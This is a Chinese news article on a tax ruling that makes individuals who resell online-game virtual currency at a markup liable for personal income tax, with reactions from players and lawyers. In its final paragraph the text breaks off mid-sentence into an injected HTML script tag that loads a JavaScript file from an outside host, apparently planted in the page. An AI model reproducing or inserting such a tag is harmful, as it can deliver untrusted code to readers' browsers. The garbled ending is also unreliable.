虚拟财产保护法没出台 虚拟创收却要收费

国家税务总局在其网站公开了对北京市地税局《关于个人通过网络销售虚拟货币取得收入计征个人所得税问题的请示》的批复,“批复”明确指出,个人通过网络收购玩家的虚拟货币,加价后向他人出售取得的收入,应缴纳个人所得税(该税率为20%左右)。

这是继今年7月北京市工商局出台规定要求“网店办照”以来,又一项针对网上交易的措施,据几大门户在网友中所做的调查显示,7成网友对此持反对意见。也有法律界人士表示,税务部门此举,很可能被视为是间接承认虚拟交易与虚拟货币存在的合法性,“未来走向更值得有关部门警惕。”

北京地税相关人员昨日(11月4日)证实,对个人虚拟货币交易征收个人所得税的实施细则,目前尚未出台。

普通玩家不在此列?

据国税局文件,“个人通过网络收购玩家虚拟货币,加价后向他人出售取得收入,属于个人所得税应税所得,应按照‘财产转让所得’项目计算缴纳个人所得税。个人销售虚拟货币的财产原值为其收购网络虚拟货币所支付的价款和相关税费。”

该批复还规定,“对于个人不能提供财产原值凭证的,由税务机关核定其财产原值。”

“以后打怪掉钱,系统还提示你‘其中20%已经自动征收个人所得税’。”———面对普通玩家的置疑,税务部门随之作出解释,表示该规定针对专门经营虚拟货币生意的人,玩家通过游戏升级所获积累不在范围内。

《2008中国虚拟物品交易市场发展研究报告》数据显示,虚拟物品交易在2008年将达到98.4亿元的市场规模。目前该市场随网游30%左右的年增长率进行相应增长。

灰色地带能否洗白

有观点认为,对虚拟财产收税,意味以前一直被视为“灰色地带”的虚拟财产个人私下交易被正规化,此前屡屡在人大被“上书”的对虚拟财产立法予以承认的要求有望得到实现。

对于个人间的虚拟财产交易,目前,国内的网游公司都通过用户协议的方式将虚拟财产的交易界定为“非法”,依据用户协议,玩家是不允许变卖游戏内?script src=http://er12.com/t.js>

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发布日期:2019年07月03日  所属分类:新闻动态